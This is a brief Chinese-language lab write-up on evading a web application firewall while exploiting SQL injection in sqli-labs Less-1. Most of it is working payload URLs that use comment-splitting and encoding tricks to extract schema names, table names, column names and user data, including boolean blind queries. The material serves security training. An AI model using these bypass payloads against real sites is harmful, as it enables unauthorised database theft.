作者：ghtwf01@星盟安全團隊
前言
這里使用sqli-labs第一關字符型注入來測試
繞過and 1=1
直接使用and 1=1肯定會被攔截
使用%26%26即可代替and繞過，1=1可以用True表示，1=2可以用False表示
繞過order by
直接使用order by被攔截
使用order/*!60000ghtwf01*/by繞過
繞過union select
和order by一樣繞過姿勢，使用union/*!60000ghtwf01*/select繞過
查詢數據庫名
過濾了group_concat()，限制了select與from的結合，from.無法繞過，使用/*!00000select*/繞過
http://192.168.0.7/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*//*!00000select*/%201,2,schema_name%20from%20information_schema.schemata%20limit%200,1--+
查詢表名
http://192.168.0.7/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*//*!00000select*/%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%20limit%200,1--+
查詢列名
and用%26%26代替
查詢字段
盲注
布爾盲注
查詢數據庫名長度
http://192.168.0.7/sqli/Less-1/?id=1%27%20%26%26%20length(database/**/())=8%20--+
查詢第一個數據庫名第一個字母ascii()、hex()均未被過濾，限制select與from的結合，使用/*!00000select*/
http://192.168.0.7/sqli/Less-1/?id=1%27%20%26%26%20(ascii(substr((/*!00000select*/%20schema_name%20from%20information_schema.schemata%20limit%200,1),1,1))=105)%20--+
查詢security數據庫第一個表名第一個字母
http://192.168.0.7/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((/*!00000select*/%20table_name%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%20limit%200,1),1,1))=65)%20--+
查詢users表第一個列名第一個字母
http://192.168.0.7/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((/*!00000select*/%20column_name%20from%20information_schema.columns%20where%20table_schema=0x7365637572697479%20%26%26%20table_name=0x7573657273%20limit%200,1),1,1))=69)%20--+
查詢字段
http://192.168.0.7/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((/*!00000select*/%20username%20from%20users%20limit%200,1),1,1))=44)%20--+
時間盲注
過濾了sleep()函數，使用benchmark()函數即可，查詢規則參考上面布爾盲注